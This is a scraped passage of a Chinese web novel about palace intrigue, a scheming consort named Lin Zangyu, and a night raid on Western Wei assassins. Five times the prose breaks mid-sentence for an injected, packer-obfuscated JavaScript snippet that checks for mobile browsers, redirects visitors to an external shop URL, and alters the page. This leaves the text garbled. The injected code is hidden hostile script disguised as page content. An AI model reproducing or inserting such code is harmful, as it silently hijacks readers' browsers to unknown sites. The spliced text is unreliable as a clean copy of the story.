“雨芸,这是……” 圣上有些不解。 “陛下,这是臣妾亲手做的桃花饼,您也尝尝。” 林臧雨说着,又示意绮巧给圣上端了一份。 圣上这才露出笑容,拿起一块,放入口中。 “嗯……好吃!还是雨芸的手艺好!” 他一边吃,一边不住口地称赞。 林臧雨却只是淡淡一笑,目光始终停留在茅清兮身上。 茅清兮硬着头皮,将那块桃花饼送入口中。 入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675090|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口香甜,却让她感到一阵阵寒意。 她强忍着不适,将点心咽了下去。 “臧夫人,觉得如何?” 林臧雨问道。 “……甚好。” 茅清兮低声答道。 “甚好便好。” 林臧雨意味深长地笑了笑,转身回到座位上。 “陛下,时候不早了,您也该回去了。” 她下了逐客令。 圣上虽然不舍,却也不敢违逆,只得起身告辞。 临走前,他还不忘叮嘱林臧雨: “雨芸,你若有什么需要,尽管跟朕说,千万别委屈了自己。” 林臧雨只是微微颔首,并未答话。 圣上一步三回头地离开了玉棠宫。 茅清兮也连忙起身告退。 林臧雨却叫住了她: “臧夫人,且慢。” 茅清兮心中一紧,停下脚步。 “本宫还有些话,想与臧夫人说。” 林臧雨看着她,眼神幽深, “关于……邹童霜。” 茅清兮心中一震,邹童霜…… “臧夫人可知,邹童霜手中的玄机图,究竟是何物?” 林臧雨缓缓开口,语气中带着一丝试探。 茅清兮沉默片刻,答道: “臣妇不知。” “当真不知?” 林臧雨步步紧逼, “还是说,臧夫人不愿说?” “臣妇……” 茅清兮正要开口,却被林臧雨打断: “臧夫人不必急着回答。本宫只是想提醒臧夫人一句,这宫里,可不比外面。有些事,知道得太多,未必是好事。” 她顿了顿,语气中带着一丝警告: “臧夫人,你说呢?” 茅清兮只觉得一股寒意从脚底升起,她低着头,不敢与林臧雨对视: “臣妇……明白。” “明白就好。” 林臧雨满意地点了点头, “时候不早了,臧夫人也该回去了。” 茅清兮如蒙大赦,连忙告退。 待茅清兮离开后,林臧雨脸上的笑容,缓缓消失。 她拿起茶盏,轻轻吹了吹,眼神幽暗,不知在想些什么。 “娘娘,您今日这是……” 绮巧忍不住问道。 “你不懂。” 林臧雨淡淡道, “这宫里,每个人都有自己的秘密。而我……要做的,就是把这些秘密,都挖出来。” 她放下茶盏,眼中闪过一丝狠厉。 第三百五十四章 “还有,去查查,臧夫人进宫,究竟是为了何事。本宫不相信,她只是为了教明明郡主习武。” “是。” 绮巧躬身应下。 林臧雨起身,走到窗边,望着窗外。 夜幕降临,皇宫笼罩在一片黑暗之中。 而她,就像是这黑暗中的一盏明灯,照亮着每一个角落,也吞噬着每一个秘密。 “陛下……” 林臧雨轻声呢喃, “您以为,这江山,当真是您的吗?” 她眼中闪过一丝嘲讽, “不,这是我的。是我林臧雨的!” 她猛地转身,却见圣上不知何时,又回到了殿内。 他站在那里,脸色铁青,眼中满是怒火。 “雨芸,你……” 他颤抖着声音,似乎不敢相信自己方才听到的一切。 林臧雨心中一惊,但很快便镇定下来。 她缓缓走到圣上面前,脸上露出一个温柔的笑容: “陛下,您怎么又回来了?” 她伸手,轻轻抚平圣上紧皱的眉头, “可是有什么事,忘了交代臣妾?” 圣上看着她,眼中满是挣扎。 他想质问,想发怒,可最终,却只是化作一声叹息: “雨芸,你……当真要如此吗?” “陛下,” 林臧雨握住他的手,轻声说道, “臣妾所做的一切,都是为了您,为了我们的将来。” 她眼中闪过一丝泪光, “臣妾知道,您心中有抱负,有理想。可这宫里,处处都是掣肘,处处都是算计。臣妾不愿您如此辛苦,不愿您……被那些人所累。” 她将头靠在圣上的肩上,语气哽咽: “陛下,您信我,好不好?信我……我定会为您,扫清一切障碍,让您……得偿所愿。” 圣上被她这番话,说得心软,他伸手,将林臧雨搂入怀中: “雨芸,朕信你,朕自然是信你的。” 他闭上眼,感受着怀中的温暖,心中一片柔软。 可他没有看到,林臧雨眼中,那一闪而逝的寒光。 “陛下……” 林臧雨轻声唤道。 “嗯?” 圣上低头,看着她。 “您……可还记得,当初的承诺?” 林臧雨问道。 “记得,朕当然记得!” 圣上连忙说道, “朕说过,这江山,朕打下来的江山,终究是要给我们的儿子的!朕从未忘记!” “可……” 林臧雨抬起头,看着他,眼中满是担忧, “可冀容白……他毕竟是……” “雨芸!” 圣上打断她,语气坚定, “朕知道你在担心什么。可朕不在乎!朕什么都不在乎!只要能和你在一起,便是要朕舍弃这江山,朕也心甘情愿!” 他顿了顿,又说道: “更何况,朕还有别的法子。朕定会让你,成为这世上,最尊贵的女人!” 林臧雨眼中闪过一丝动容,她紧紧抱住圣上,将头埋在他的胸口: “陛下……” 圣上只觉得心中一片满足,他紧紧抱着林臧雨,仿佛拥有了整个世界。 “报——” 就在这时,殿外突然传来一声急报。 “何事?” 圣上不悦地问道。 “禀陛下,太子殿下……薨了!” 那声音,颤抖着,带着一丝恐惧。 圣上如遭雷击,猛地推开林臧雨, “你说什么?!” 他冲到殿外,一把抓住那报信之人, “你再说一遍!” “太子殿下……薨了……” 那人颤抖着声音,再次说道。 圣上只觉得眼前一黑,身体摇摇欲坠。 吉公公连忙上前扶住他, “陛下!您保重龙体啊!” 圣上却像是没有听到一般,他猛地转头,看向林臧雨,眼中满是震惊与怀疑。 “雨芸……你……” 他颤抖着声音,想要说些什么,却终究没有说出口。 林臧雨站在那里,脸上没有任何表情,只是静静地看着他。 “陛下,” 她缓缓开口,语气平静, “您该回去了。” 圣上看着她,眼中满是复杂的情绪,有震惊,有怀疑,有不甘,也有……一丝恐惧。 他张了张嘴,似乎想要说些什么,但最终,却只是化作一声叹息。 他转身,跌跌撞撞地离开了玉棠宫。 林臧雨站在原地,看着他的背影,眼中闪过一丝冷漠。 “娘娘……” 绮巧走到她身边,轻声唤道。 “传令下去,” 林臧雨缓缓开口,语气冰冷, “**息,任何人不得走漏风声。” “是。” 绮巧躬身应下,退了下去。 林臧雨站在那里,望着窗外,眼神幽深,不知在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675091|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么。圣上昏迷的消息,比宫里头新做的桂花糕还甜,一眨眼的工夫,就甜到了每个人的耳朵里。 林臧雨的玉棠宫,成了风口浪尖。 “哐当!” 林皇后气得摔了个粉彩的花瓶, “林臧雨那个狐媚子!” 她一跺脚,指甲掐进肉里, “陛下要是有个三长两短,本宫饶不了她!” 林皇后领着一帮人,风风火火地杀向玉棠宫。 玉棠宫里头,太医院的太医们跪了一地,一个个脑袋杵在地上,屁股撅得老高。 林皇后连个正眼都没给,张嘴就问: “陛下呢?怎么回事?好端端地怎么就昏了?” 太医院的院判郎明仁,声音抖得跟筛糠似的: “回……回皇后娘娘,陛下……陛下龙体欠安,又赶上……赶上……” “赶上什么?!” 林皇后眼睛一瞪, “有话快说,有屁快放!” “赶上……动了肝火,一时气血上涌,就……就……” 郎明仁磕磕巴巴,总算把话说全了。 “那怎么还不醒?你们都是吃干饭的?” 林皇后更火了。 太医们头都不敢抬: “娘娘恕罪,臣等无能……” 林皇后一口气憋在胸口,上不去下不来,正要发作,余光瞥见了站在一旁的林臧雨。 “雨妃!” 她厉声喝道, “陛下在你这儿昏倒,你是不是该给本宫一个交代?” 林臧雨抬眼,不紧不慢地说: “皇后娘娘这是要臣妾交代什么?难不成要臣妾给陛下的龙体负责?” 林皇后被她噎得一窒, “你……!好个伶牙俐齿的雨妃!来人,把雨妃给本宫看起来,没本宫的令,谁也不许放她出来!” 她本想直接给林臧雨定罪,可又怕皇帝醒了找她算账,只能先关起来再说。 林臧雨动都没动,任由宫人把她“请”了下去,连个眼神都没给林皇后。 林皇后看着她的背影,心里那叫一个痛快。 林臧雨进宫这些日子,她这个皇后当得憋屈,今天,可算是扬眉吐气了。 皇帝昏迷不醒,后宫彻底炸开了锅。 太子和几个皇子,一个个都跟红了眼的狼崽子似的,打破头往里挤,都要争着侍疾。 林皇后也不是吃素的,她把太子推到前头,自己守在皇帝寝宫门口,跟个门神似的。 别的皇子想进去? 第三百五十五章 “陛下需要静养,都给本宫滚回去!” 一句话,就把人打发得干干净净。 贤王在那儿装哑巴,一声不吭。 宁王气得直蹦: “为何阻拦我们前去?那还是我们亲爹呢!” 贤王连头都没抬。 后宫里头,除了林皇后,也就四妃能进去转一圈,可也待不了多长时间。 尹贵妃瞥了宁王一眼。 宁王赶紧凑上去: “母妃,您好歹也是父皇的枕边人,您怎么就不去争一争?” 尹贵妃白了他一眼: “争什么争?你父皇又没死,要静养!你有这份孝心就够了!” 宁王不乐意了: “母妃!您怎么能这样呢?” “你给我闭嘴!” 尹贵妃懒得理他,转身就走。 安妃跟在她身后,两人走远了些。 尹贵妃撇撇嘴: “蠢货。” 安妃轻声说: “宁王一片孝心,您就别怪他了。” “孝心?我看是狼子野心!” 尹贵妃冷笑, “皇帝不过是昏过去了,太医又不是吃干饭的。他那么急着往上凑,是怕皇帝不死吗?” “妹妹这话过了,” 安妃压低声音, “宁王的心思谁都明白,可也不能这么说啊。你看看外面,多少人夸赞宁王呢。” “夸赞?那是因为他们蠢!” 尹贵妃毫不在意, “我进宫这么久,添了一对龙凤胎,到头来还不如你,省心。” 安妃没说话。 尹贵妃又说: “我娘家,还有那几个没脑子的孩子,都来问我,为什么不帮他们。他们也不想想,现在谁说了算?” 安妃看了看四周, “慎言!” 这宫里头,不知道有多少双眼睛盯着她们呢。 尹贵妃轻蔑一笑: “如今这宫里,皇后和雨妃斗得跟乌眼鸡似的,咱们就等着看戏吧。” 前朝,内阁那几个老家伙能进宫看皇帝。 冀容白也跟着混进去了。 有人想拦,可谁敢拦他? 太子在皇帝床前哭天抢地,不知道的还以为皇帝真要不行了呢。 几个内阁大臣倒是挺满意。 朝里的事,太子顺理成章地接了过去。 一时之间,太子风头无两。 皇帝这一昏,昏得可真够久的。 太医院的太医们忙得团团转,可就是不见效。 最后,还是吉公公想起了白苏道长。 白苏道长请进宫,丹药一喂,嘿,你猜怎么着? 皇帝醒了! 皇帝醒来干的第一件事,就是派人去玉棠宫把林臧雨给接了出来。 林皇后差点没把银牙咬碎。 她禁足林臧雨,本想给林臧雨一个下马威,结果可好,皇帝一醒,立马给她来了一记响亮的耳光。 当着那么多人的面,皇帝把她训斥一顿,话里话外,都是对林臧雨的心疼。 林皇后这回是哑巴吃黄连,有苦说不出。 皇帝这一病,更迷信白苏道长了。 天天把白苏道长召进宫,又是炼丹又是论道的,把太医院晾在一边。 以前,皇帝还勤于政务,现在可好,直接当起了甩手掌柜,把朝政一股脑儿推给了内阁和太子。 钱云霄乐得屁颠屁颠的,每天忙得脚不沾地,那叫一个志得意满。 皇帝呢,不是在林臧雨的床上,就是在白苏道长的丹炉旁。 有御史实在看不下去了,上书**林臧雨和白苏道长,说他们是妖妃奸道,祸乱朝纲。 结果,奏折直接被皇帝扔进了火盆里。 要不是几个阁老拼死拦着,那御史的脑袋都得搬家。 皇帝龙颜大怒,把上书的御史一家老小都给抓了起来,直接发配边疆,谁求情都没用。 这下,朝堂上鸦雀无声,谁也不敢多说一个字。 澜府里头,冀容白嗤笑一声: “这老头,昏了一次,还昏出毛病来了?整天跟个道士混在一起,他这是要上天啊?” 茅清兮瞪了他一眼: “你小点声!这种话也是能乱说的?”“皇上最近的做派,当真……让人看不懂。” 冀容白斟酌着开口,语气里带着几分试探。 茅清兮没直接回应,只缓缓搅动着手中的茶盏,眼神落在漂浮的茶叶上,若有所思。 她心里,其实也认同冀容白的看法。 当今圣上,励精图治,锐意进取,一手开创了大周的盛世。这样一位雄才大略的君主,本该将这锦绣江山牢牢握在手中。 可如今,他却像是变了个人。 先是独宠林臧雨,夜夜笙歌。 又是与那白苏道长厮混,整日谈玄论道,将朝政抛诸脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679678|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后。 这般急转直下,实在令人费解。 “莫非……”茅清兮顿了顿,眉心微蹙,“皇上的龙体,真的有什么不妥?” “如今,陛下已经不召见太医院的人了。”冀容白的声音压得很低,像是在说一个不能为外人道的秘密,“只有白苏道长,能近身伺候。” 他微微停顿,像是在斟酌用词: “可那位道长配的丹药……总不能真当灵丹妙药来吃吧?” 茅清兮缓缓点头,她自然明白冀容白的意思。 “白苏道长那些所谓的‘仙丹’,至多能暂时缓解症状。可自古以来,那些个迷信长生不老的君王,又有哪个……” 话到此处,她没再继续说下去。 但两人都心知肚明,那些沉迷丹药的君王,最终会走向何种结局。 冀容白摩挲着手中的茶杯,像是在思考着什么: “我让人查过太医院的脉案,最近两年来,和龙体相关的记载越来越少,几乎只剩下些日常起居的流水账。就算皇上龙体抱恙,太医院也绝不敢留下任何记录。” 很显然,圣上在刻意隐瞒自己的身体状况。 整个太医院,都成了摆设。 眼下,恐怕只有白苏道长,才知道圣上的身体究竟如何。 而那位白苏道长……又是林臧雨的人。 想到这儿,茅清兮心里咯噔一下。 平静的表象之下,似乎正涌动着什么未知的危险。 她甚至开始怀疑,皇上是不是已经被林臧雨给架空了? 突然,脸颊上传来一阵微凉的触感。 冀容白的手指,轻轻摩挲着她的皮肤,眼神专注得像是要把她整个人都吸进去。 这段时日,府里的厨子们像是得了什么秘令,变着法儿地给她做各种好吃的。 茅清兮原本清瘦的脸颊,竟也渐渐圆润了起来。 虽然看起来没太大变化,但冀容白一上手,便能感觉到那细微的不同。 茅清兮抬眸瞪了他一眼,长而密的睫毛微微颤动,像两把小扇子,轻轻扫过冀容白的心尖。 正当她要挥开冀容白的手时,却被他抢先一步,捏住了下巴。 紧接着,一个带着侵略性的吻落了下来。 他强势地撬开她的牙关,不给她丝毫喘息的机会。 这突如其来的吻,让茅清兮有些措手不及。 但细细品味,这霸道之中,又带着几分让人沉溺的温柔。 第三百五十六章 她不由自主地向他靠近,手臂环上了他的脖颈,指尖不自觉地收紧。 下一刻,冀容白直接将她打横抱了起来,大步走向床边。 “门……” 茅清兮断断续续地提醒,声音细若蚊蚋。 冀容白却像是长了第三只手,内力到处,两扇门“砰”的一声应声合上。 院子里的下人们一见这阵势,立马脚底抹油,溜得远远的。 只有绿绿,还硬着头皮守在门外。 她不敢听,却又不得不听。 万一屋里的两位主子什么时候要用水,她要是没听见,那可就失职了。 冀容白将茅清兮轻轻放在床上,倾身覆了上去,吻得愈发深入。 细密的吻如雨点般落下,几乎要将她淹没。 茅清兮觉得,自己快要不能呼吸了,只能紧紧抓着冀容白胸前的衣襟,指节都泛了白。 冀容白感觉到她的回应,眼底笑意更深。 他稍稍拉开些距离,低头看着她,声音沙哑: “娘子再不松手,为夫这衣服可就真要被你扯坏了。” 茅清兮一怔,像是被火星烫到一般,猛地松开了手。 她飞快地往床里侧一滚,用被子把自己裹了个严严实实,只露出一双眼睛。 心跳得厉害,仿佛战鼓擂动,震得她耳膜发疼。 冀容白看着她这副鸵鸟模样,忍不住笑出声来。 他动作利落地褪去身上的衣物,从身后将她揽入怀中。 温暖的阳光透过窗棂,洒下一片金色的光晕。 又是一个,让人沉醉不知归路的春日午后。 …… 日头偏西,晚膳时分。 茅清兮一边用干棉布擦拭着湿漉漉的长发,一边走进了饭厅。 澜府人丁简单,也没那么多繁文缛节。 菜还没上齐,茅清兮湿漉漉的头发还在滴水。 冀容白见状,很自然地接过她手中的棉布,站到她身后,细心地帮她擦拭着头发。 他动作轻柔,挽起一缕发丝,从发根到发梢,一点点擦干,再换另一缕。 如墨般的青丝,在他指尖缠绕,散发着淡淡的清香。 突然,冀容白的目光落在了茅清兮白皙的后颈上。 那里,几朵粉嫩的“桃花”若隐若现,像是点缀在雪地上的几点红梅。 他微微一怔,随即忍不住笑出了声。 茅清兮察觉到他的异样,转过头来,一脸莫名其妙: “你笑什么?” 冀容白当然不会告诉她,那几朵“桃花”,是他趁着她午后睡熟时,偷偷留下的“罪证”。 毕竟,她可是三令五申,不许他在脖颈上,或者说,不许他在任何显眼的地方留下痕迹。 冀容白装作若无其事的样子,将擦干的头发轻轻放下,遮住了那几朵“桃花”。 这就像是一场不能言说的秘密,只留下这一点点痕迹,无声地诉说着那场春日欢愉的浓烈与缠绵。 不一会儿,晚膳就摆了上来,澜府里没有食不言的规矩。 茅清兮一边用着晚膳,一边开口道: “我让俞霜带人去护着吴容远远了,还另外派了几个好手暗中盯着。” 冀容白点了点头,用公筷夹了一块鱼肉放到她碗里,细心地剔去了鱼刺: “你是担心……林臧雨会对吴容远远下手?” 茅清兮语气有些凝重:“她派人来警告过我,让吴容远远,别再继续查下去。” “奇怪……”冀容白眉头紧锁,也放下了手中的筷子,“如果林臧雨当真觉得吴容远远会威胁到太子的地位,为何不直接派人做了她?以绝后患?” 他顿了顿,语气中带着几分思索: “还敢来教训你……这不像是她的作风。” 茅清兮也觉得这事儿蹊跷。 按理说,林臧雨一直都在为太子扫清障碍,如果吴容远远真的成了威胁,以她的狠辣,早就该直接动手了。 可现在,她却只是派人来警告茅清兮,让她有了防备,反而去保护吴容远远。 这完全不符合常理。 林臧雨的很多举动,都让茅清兮和冀容白感到困惑。 就像她会冒用别人的身份入宫,又像她会突然对茅清兮说出那些掏心窝子的话。 茅清兮总觉得,林臧雨就像是笼罩在一层迷雾中,让人看不清她的真面目。 不拨开这层迷雾,他们就永远无法真正了解林臧雨。 “对了,”冀容白像是突然想起了什么,“玄月门的人去华家查过,林清刁不见了。” 茅清兮一惊:“京城和华家都没有她的踪迹……这怎么可能?” 林清刁是林臧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679679|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨的侄女,按理说,林臧雨应该不会对她下手。 可如今,青羽暗卫和玄月门联手都查不到她的下落,这实在太不寻常了。 会不会是……林清刁自己躲起来了? “陈家那边呢?”茅清兮又问。 冀容白冷笑一声,语气中带着几分不屑: “陈家那个大公子,还在为林清刁入宫的事儿借酒浇愁呢,听说都快把自己折腾成废人了。” 茅清兮的眉头拧得更紧了,事情似乎变得越来越复杂了。 她正思索着,门外突然传来“扑通”一声闷响。 “怎么回事?” 茅清兮立刻起身,还没来得及走到门口,就闻到了一股浓重的血腥味。 院子里,富峻的声音焦急地传来: “夫人!不好了!俞霜受伤了!” 茅清兮心头一紧,三步并作两步冲了出去。 只见俞霜浑身是血地倒在地上,富峻正手忙脚乱地想把她扶起来。 “别动她!” 茅清兮连忙制止,快步上前。 她伸手搭上俞霜的脉搏,脉象紊乱,内力也几乎被震散,但好在还有一丝微弱的气息,性命无碍。 茅清兮不敢耽搁,亲自将俞霜抱起来,带去了紫姨家里。 紫姨一见俞霜的模样,吓得脸色煞白,声音都变了调: “这是……这是怎么了?怎么伤成这样?” 茅清兮小心翼翼地将俞霜放到床上,尽量不碰到她的伤口。 俞霜的后背上,一道狰狞的刀伤触目惊心,几乎贯穿了整个背部,甚至能看到森森白骨。 茅清兮的眼中闪过一丝狠厉,指尖微微颤抖。 俞霜却像是感觉不到疼痛一般,用尽最后一丝力气,紧紧抓住了她的手,声音微弱而断续: “主子……吴容远远……他……**……” 她喘了口气,像是要把肺里的空气都挤出来: “我……没能……保护好他……” “兰陵堡的案子……是不是……再也……翻不了了?”“我答应过你,必报此仇。” 茅清兮紧握俞霜的手,力道之大,指节微微泛白,声音却出奇的坚定。 俞霜费力地扯动嘴角,似是想笑,却只牵出一个虚弱的弧度,绷紧的弦骤然断裂,昏死过去,仿佛用尽了此生之力。 第三百五十七章 紫姨手脚麻利,忙上前诊治俞霜伤势,小心翼翼,不敢有丝毫大意。茅清兮缓缓起身,步出房门。门外,冀容白凭栏而立,月色如水,将他的影子拉得纤长。 “吴容远远**。”茅清兮的声音很低,却难掩其中翻涌的怒意,“凶手刀法老辣,招式狠绝……颇有西魏之风。” “西魏?”冀容白剑眉微挑,锋芒毕露。 “我去查,你且安心。”他未曾追问,只深深凝视茅清兮一眼,便携富峻转身离去,步履匆匆,消失在茫茫夜色之中。 茅清兮并未即刻回屋。 她独立院中,仰望天边孤月,任夜风拂乱青丝。胸中郁结,闷如巨石,压得她几欲窒息。 心火翻腾,几欲燎原。 俞霜的身手,她是清楚的,能将她伤至如此……那些被派出去的暗卫,只怕…… 茅清兮不敢细想,紧闭双眼。 放眼京城,能有此等身手的,寥寥无几。 她茅清兮,最是护短,此仇不报,誓不为人! 长舒一口气,茅清兮转身回屋。 屋内,紫姨正忙着为俞霜清理伤口。血迹斑斑,深可见骨,令人不忍卒睹。 不止背部,俞霜臂上、腿上,皆有刀伤,皮肉外翻,惨不忍睹。 紫姨以银针封穴,勉强护住俞霜体内残存的一丝内力。茅清兮不敢耽搁,盘膝坐于俞霜身后,缓缓将自身内力渡入,小心翼翼地疏导着她体内紊乱的经脉。 时光流逝,如指间沙。 直至后半夜,俞霜高热不退,体若火炭。 茅清兮一遍遍以湿帕擦拭她的额头、颈项、掌心…… 两个时辰过去,热度渐消。俞霜面色虽依旧苍白,却终是泛起一丝血色。 紫姨望着茅清兮疲惫不堪的神色,满心怜惜。 “小姐,您去歇息吧,这里有我。” “不必。”茅清兮摇头,声音嘶哑,“我守着,紫姨您去歇息。” 紫姨还欲再劝,却被茅清兮截断话头。 “我允诺过她,要为她报那满门血仇……”茅清兮声音低微,带着一丝几不可察的轻颤,“可时至今日,我一事无成。倒是她,始终伴我左右,出生入死,为我挡下无数明枪暗箭……” 紫姨眼眶湿润,轻叹一声。 “太子势大,非常人可敌。小姐已竭尽所能,您为俞霜姑娘所做的一切,我等皆看在眼里。” 茅清兮苦涩一笑。 是啊,唯有紫姨,无论何时皆坚定地立于她身侧,无怨无悔地支持她、信任她。 更漏滴答,寅时将至。 冀容白踏月归来,挟裹一身寒凉。 “吴容远远横死于自家后巷,一刀毙命。除俞霜外,四名青羽暗卫皆遭不测,无一生还。”他声音低沉,透着一股肃杀之气。 他顿了顿,望向茅清兮,继续道:“确为西魏人所为。一月之前,他们乔装改扮,暗度陈仓,潜入京城。乃西魏一江湖门派,名为玄元宫。” “西魏的江湖草莽?”茅清兮声音冷冽如冰,“竟敢在大晋京城撒野,残害我朝廷命官?” “他们为寻仇而来。”冀容白解释,“玄元宫少宫主弑师叛门,逃窜至大晋京城。此番前来,乃为追捕叛徒。” “那吴容远远……”茅清兮猛地抬首,眸中厉色一闪而过。 “太子府买凶。”冀容白语气平静,似在陈述一件再寻常不过的事。 茅清兮冷笑,笑声中尽是讥诮。 “太子……林臧雨……果真沆瀣一气!无论幕后主使为谁,于我而言,并无分别。” 她微微停顿,眸色转暗。 “况且……”她声音低沉,“吴容远远之死,我等难辞其咎。” 若非他们欲借吴容远远之手,彻查户部亏空,他亦不会遭此横祸,为太子与林臧雨所忌惮…… 茅清兮紧抿双唇,指甲深陷掌心,几欲滴血。 “此事因我而起,若非我……”冀容白出言欲辩。 “休要再提!”茅清兮厉声打断,语气决绝,不容置喙。 “太子与林臧雨,我暂且奈何不得。然而……”她抬眸,眼中烈焰升腾,“这些西魏蛮夷,既已踏足我大晋疆土,便休想全身而退!” 冀容白凝视着她,凝视着她眼中燃烧的决绝与怒火。 半晌,他无奈一笑,笑容中却带着一丝纵容。 “好,我陪你。” …… 夜色浓稠如墨,更深露重。 几道黑影悄无声息地越过几条街巷,来到城西一处宅院外。不同于白日的热闹喧嚣,夜幕下的宅院,透着一股阴森诡谲。 “确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689474|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是这里?”茅清兮借着一棵老槐树的掩护,向身旁的富峻低声问道。 富峻拍了拍胸脯,压低嗓音,语气十分笃定:“错不了!我亲眼看着他们进去的,还在这儿留了暗记呢!” 茅清兮顺着他手指的方向看去,果然在墙角发现一个极不显眼的标记。她微微颔首,不再言语,只是将目光投向宅院深处。 今夜,她要让这些西魏人血债血偿! 茅清兮足尖在树干上轻轻一点,借力跃起,身姿矫健如同夜枭,无声无息地落入院墙。 冀容白紧随其后,身法飘逸,宛如一片落叶,悄然无声地落在一颗枝繁叶茂的树上。 “这帮人警觉得很,”冀容白刚一站定,便开口说道,语速极快,“至少分了三拨人轮流守夜,连只苍蝇都飞不进去。” “而且,”他顿了顿,眼神示意茅清兮看向不远处一间亮着灯的屋子,“我方才粗略查探过,那个叫王刚的就住在那里。那间屋子附近,至少有四个暗哨。” 茅清兮微微眯起眼睛。 她顺着冀容白的视线看去,果然发现那间屋子周围,隐约有几道人影晃动。 看来,今晚想要悄无声息地解决这些人,是不太可能了。 既然如此,那就…… 茅清兮眼中闪过一丝决绝。 “直接动手。” 冀容白似乎早有预料,从树上一跃而下。 富峻等的就是这句话,顿时精神抖擞,抽出随身佩剑,低喝一声:“兄弟们,抄家伙,上!” 话音未落,十余名黑衣人便从四面八方涌入,如狼似虎般扑向院中巡逻的玄元宫弟子。 一场混战,就此展开。 “什么人?!” “敌袭!” 玄元宫的弟子也不是吃素的,很快便反应过来,纷纷拔刀迎战。 一时间,刀光剑影,喊杀声震天。 富峻一马当先,冲在最前面,手中长剑舞得密不透风,招招狠辣,直取敌人要害。 “跳梁小丑,也敢在此撒野!” 冀容白并未参与混战,他的目标,始终是那间亮着灯的屋子。 门口的两名守卫被突如其来的变故惊得愣了一瞬。 其中一人反应较快,立刻拔出腰间弯刀,厉声喝问:“什么人胆敢擅闯太… 第三百五十八章 …” 话未说完,便被一道凌厉的剑光封住了喉咙。 冀容白甚至没有看清他的长相,长剑已然出鞘,寒光闪过,那人的声音便戛然而止,身体软软地倒了下去。 另一名守卫见状,大惊失色,转身就跑。 “想跑?”冀容白冷笑一声,身形一晃,便如鬼魅般挡在了他的面前,“下辈子,记得把眼睛擦亮点!” 话音未落,长剑再次出鞘。 剑光闪过,那名守卫甚至来不及发出一声惨叫,便步了同伴的后尘。 屋内的王刚听到外面的动静,猛地推开房门,提着一把鬼头大刀冲了出来。 他环顾四周,只见院中一片混乱,自己的手下正与一群黑衣人厮杀在一起,顿时怒火中烧。 “何方鼠辈,竟敢夜闯我玄元宫驻地,活腻了!” 他正欲上前,眼前却突然出现一道纤细的身影,挡住了他的去路。 “你的对手,是我。” 冰冷的声音,不带一丝感情,却让王刚心中一凛。“娘们儿?” 王刚的声音像砂纸磨过生锈的铁皮,刺耳又带着股子邪气。他嘴角咧开,露出满口黄牙,那眼神儿,活像要把人生吞活剥了: “正好,今夜就陪本大爷共度良宵!” 话音未落,一道银光闪过,带着冰冷的杀意。 那是剑光,霜雪般寒冷的剑光,如银蛇出洞,直奔王刚面门。 王刚脸上的笑容僵住,眼珠子瞪得溜圆。 他下意识地举起鬼头大刀,想挡。 “当——” 刀剑相撞,震得人耳膜发疼。 内力激荡,带起一阵狂风,吹得两人衣袍猎猎作响。 王刚只觉得一股子蛮力顺着刀身冲过来,虎口都麻了,差点儿连刀都握不住。五脏六腑仿佛都移了位,喉咙里涌上一股腥甜。 他这才明白,眼前这看似娇滴滴的小娘们儿,竟是个硬茬子! 王刚咬紧牙关,眼里闪过一丝狠厉,不敢再小瞧。 他把胸腔里那股子轻浮劲儿硬生生压了下去,沉声喝问: 